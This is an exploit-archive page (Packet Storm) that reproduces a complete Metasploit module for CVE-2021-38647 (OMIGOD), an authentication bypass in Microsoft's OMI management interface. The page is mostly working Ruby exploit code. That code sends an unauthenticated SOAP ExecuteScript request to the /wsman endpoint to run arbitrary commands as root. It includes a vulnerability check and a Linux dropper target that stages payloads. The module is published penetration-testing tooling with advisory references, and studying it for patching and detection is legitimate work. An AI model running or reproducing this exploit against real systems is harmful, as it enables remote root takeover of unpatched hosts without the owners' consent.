exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft OMI Management Interface Authentication Bypass

Microsoft OMI Management Interface Authentication Bypass
Posted Oct 28, 2021
Authored by Spencer McIntyre, wvu, Nir Ohfeld, Shir Tamari | Site metasploit.com

By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

tags | exploit, web, root
advisories | CVE-2021-38647
SHA-256 | fdef0aef0e912b6be1749a8d91235a8ce5f95d8c64ee36efaa66917951a81206

Microsoft OMI Management Interface Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
'Description' => %q{
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
OMI version 1.6.8-1 (released September 8th 2021).
},
'Author' => [
'Nir Ohfeld', # vulnerability discovery & research
'Shir Tamari', # vulnerability discovery & research
'Spencer McIntyre', # metasploit module
'wvu' # vulnerability research
],
'References' => [
['CVE', '2021-38647'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
],
'DisclosureDate' => '2021-09-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 5985,
'SSL' => false,
'MeterpreterTryToFork' => true
},
'Notes' => {
'AKA' => ['OMIGOD'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
])
end

def check
http_res = send_command('id')
return CheckCode::Unknown if http_res.nil?
return CheckCode::Safe unless http_res.code == 200

cmd_res = parse_response(http_res)
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /

return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
result = execute_command(payload.encoded)
if result
print_status(result[:stdout]) unless result[:stdout].blank?
print_error(result[:stderr]) unless result[:stderr].blank?
end
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_command(cmd)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

parse_response(res)
end

def parse_response(res)
return nil unless res&.code == 200

return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
unless return_code == 0
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
end

{
return_code: return_code,
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
}
end

def send_command(cmd)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'text/xml;charset=UTF-8',
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
<w:OptionSet s:mustUnderstand="true"/>
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
<p:Arguments/>
<p:timeout>0</p:timeout>
<p:b64encoded>true</p:b64encoded>
</p:ExecuteScript_INPUT>
</s:Body>
</s:Envelope>
ENVELOPE
)
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close